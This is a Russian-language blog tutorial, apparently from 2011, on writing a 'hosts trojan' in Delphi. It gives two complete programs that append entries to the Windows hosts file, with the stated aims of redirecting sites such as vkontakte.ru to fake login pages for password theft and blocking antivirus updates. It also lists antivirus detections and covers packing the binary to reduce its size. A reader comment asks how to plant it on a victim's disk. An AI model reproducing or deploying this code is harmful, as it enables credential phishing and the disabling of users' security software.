|
| | |
| Главная » 2011 » Март » 19 » [Delphi] Trojan hosts
21:40 [Delphi] Trojan hosts |
Ну тут типо урок для начинающих в изучении дэльфи =)) Это не есть самый идеальный Trojan hosts, но все же он работает. Сначало разберемся что это... Hosts - файл который лежит C:\WINDOWS\system32\drivers\etc\hosts - но говорят что в реестре мона поменять путь и пользы от трояна не будет, в этом файле лежат всякие ассоциации компьтера с адресами (ну мож не прально но я постарался более внятно обьяснить) например там стандартная строчка
code:
127.0.0.1 localhost она обозначает следующие - localhost считать как 127.0.0.1 - т.е при коннекте по адресу localhost нас переадресовывает на 127.0.0.1. Зачем пишут трояны которые редактирует hosts? Ну это используется преимущественно людьми которые используют фэйковые страницы для кражи паролей и вирусописателями - вирусмэйкеры или как там прально ))) Зачем вирусописателями? - ну тут ответ прост, если прописать в hosts адреса обновлений антивирусника или файрвола и перенаправлять коннекты на 127.0.0.1 - антивирь / файрвол откажет в обновлении и оповестит об ошибке.
Вот такая вот большая роль маленького файла )))
Сегодня от нефиг делать, напишем свой, небольшой Trojan hosts - пока палица только какими то хитрожопыми антивирями Спойлер: a-squared 06/10/2010 5.0.0.20 Trojan.Peed!IK AVG 06/10/2010 9.0.0.725 Win32/DH.AA54534F48 BitDefender 06/10/2010 7.0.0.2555 Gen:Trojan.Heur.DP.cOWbaWC7ZDl Comodo 06/10/2010 4.0 Heur.Packed.Unknown Ikarus T3 06/10/2010 1001084 Trojan.Peed
Для начала придумаем алгоритм. Поидее троян должен открыть файл для чтения и добавить строчку - что то типо code: IP vkontakte.ru сохранить новый файл и закончить работу.
ну что? приступим... Для начала создаем новый проект - File=>New=>Other=>Console Application. Видем что то типо html highlight: program Project1;
{$APPTYPE CONSOLE}
uses SysUtils;
begin { TODO -oUser -cConsole Main : Insert code here } end. Уберем все лишнее html highlight: program Project1;
//{$APPTYPE CONSOLE} убираем отображение консоли
uses SysUtils; //стираем её, т.к. она нам нафиг не нужна
begin { TODO -oUser -cConsole Main : Insert code here } //это можно затереть чтобы не мешалось end. получаем что то типо html highlight: program Project1;
uses
begin
end. Кто изучал паскаль - вспоминаем, тут все просто, в uses подключаем Windows, Classes; по ходу работы буду пояснять зачем.
Далее, нужно закинуть функцию нахождения WinDir - ведь винда может стоять не на С:/ а на D:/ или подобном. функция стыренная хз где выглядит так - html highlight: function sysdir: string; var f:array[0..255]of char; begin ExpandEnvironmentStrings('%WINDIR%',f,255); Result := f; end; именно для нее нужен модуль Windows записываем получаем что то типо
html highlight: program Project1;
uses Windows, Classes;
function sysdir: string; var f:array[0..255]of char; begin ExpandEnvironmentStrings('%WINDIR%',f,255); Result := f; end;
begin
end. далее, мы можем открывать файл и писать в него так code: var host:TextFile; AssignFile(host, sysdir+'\system32\drivers\etc\hosts'); ReWrite(host); Append(host); WriteLn(host,''); CloseFile(log); но мы же не ищем легких путей! поэтому используем TStringList обьявляем переменную host как TStringList - code: var host:TStringList; Далее мы должны создать этот лист, пишем после бегина code: host:=TStringList.Create; - так мы создаем стринг лист и он имеет формат что то типо code: 000000 11111 22222 т.е. мы можем добавлять в него прямо строчки host.Add('Текст'); а потом просто записывать! Но опять же мы не ищем легких путей! И для уверенности будем подгружать старый hosts мы делаем так code: host.LoadFromFile(pchar(sysdir+'\system32\drivers\etc\hosts')); к TStringList - можно обращаться как к TMemo, значит есть и фунцкия сохранения! SaveToFile вернемся к коду... и так... мы создали лист, подгрузили хостс и его содержимое, теперь надо добавить строчку, напоминаю это мы делаем так - code: host.Add('IP vkontakte.ru'); и так... теперь содержимое хостс грузится в стринг лист и в него добавляется новая строчка! НО мы же не сохранили еще! это делаем так code: host.SaveToFile(pchar(sysdir+'\system32\drivers\etc\hosts')); Полный код Скрытый текст, требуется 0 сообщение(ий) (сейчас у вас 190):
code: program Project1; uses Windows, Classes;
function sysdir: string; //функция нахождения папки Windows var f:array[0..255]of char; begin ExpandEnvironmentStrings('%WINDIR%',f,255); Result := f; end;
var host:TStringList; //переменная )))
begin host:=TStringList.Create; //создание листа host.LoadFromFile(pchar(sysdir+'\system32\drivers\etc\hosts')); //подгрузка содержимого hosts host.Add('127.0.0.1 admin'); //добавление строки в лист host.SaveToFile(pchar(sysdir+'\system32\drivers\etc\hosts')); //сохранение end.
После компиляции вес программы 85кб, а после сжатия ASPack - 43кб, а если сжимать PeCompact'ом вес - 39кб - но будет палиться многими антивирями как "Packed PeCompact"
Метод 2. Вернемся к
code: var host:TextFile; AssignFile(host, sysdir+'\system32\drivers\etc\hosts'); ReWrite(host); Append(host); WriteLn(host,''); CloseFile(log); это еще более крутой метод, для него не надо модуль Classes - а значит вес понижается разы! Собственно обьявляем переменную code: var host:TextFile; Далее пишем после бегина code: AssignFile(host, pchar(sysdir+'\system32\drivers\etc\hosts')); //незнаю как правильно комментировать но что то типо этого //Назначаем файл как переменную host Append(host); //открываем WriteLn(host,'');//отступаем от старых записей WriteLn(host,'127.0.0.1 localhost'); //пишем новую строчку WriteLn(host,'IP localhost'); //пишем вторую строчку здесь можно использовать просто Write CloseFile(log); //закрываем исходный такойСкрытый текст, требуется 0 сообщение(ий) (сейчас у вас 190):
code: program Project1; uses Windows;
function sysdir: string; var f:array[0..255]of char; begin ExpandEnvironmentStrings('%WINDIR%',f,255); Result := f; end;
var host:TextFile; begin
AssignFile(host, pchar(sysdir+'\system32\drivers\etc\hosts')); Append(host); WriteLn(host,''); WriteLn(host,'127.0.0.1 localhost'); Write(host,'IP localhost'); CloseFile(host); end.
Вес 16,5кб без сжатия, после сжатия ASPack - 15кб, PeCompact'ом - 11кб. Палицо a-squared,AVG,BitDefender,Ikarus T3. Статья написана в ознокомительных целях, все права за использования программы лежат на вас, и весь вред нанесенный программой - тоже на вас.
|
Категория: Delphi |
Просмотров: 1491 |
Добавил: SeM
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
| |
| | |
|
|
| Коменнтарии
| |
Извиняюсь, заработал. Спасибо за урок
Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?
Нифига не робит... Кто знает как сделать чтобы на жесткий жертвы сохранял.. ISQ 606017777
|
|
|
| Отзывы Фото
| |
6 микр. Красивое место.... Старый музей но щас его перенесли... Фотография под горы Красивое фото!!! |
|
|